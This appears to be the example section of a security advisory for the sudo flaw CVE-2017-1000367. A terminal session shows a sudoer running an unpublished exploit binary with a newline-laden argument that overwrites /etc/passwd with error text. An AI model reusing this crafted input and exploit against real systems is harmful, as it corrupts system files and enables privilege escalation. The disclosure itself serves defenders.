========================================================================
Example
========================================================================

We will publish our Sudoer-to-root exploit
(Linux_sudo_CVE-2017-1000367.c) in the near future:

[john@...alhost ~]$ head -n 8 /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

[john@...alhost ~]$ sudo -l
[sudo] password for john:
...
User john may run the following commands on localhost:
    (ALL) /usr/bin/sum

[john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\nHELLO\nWORLD\n'
[sudo] password for john:

[john@...alhost ~]$ head -n 8 /etc/passwd
/usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
ogin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin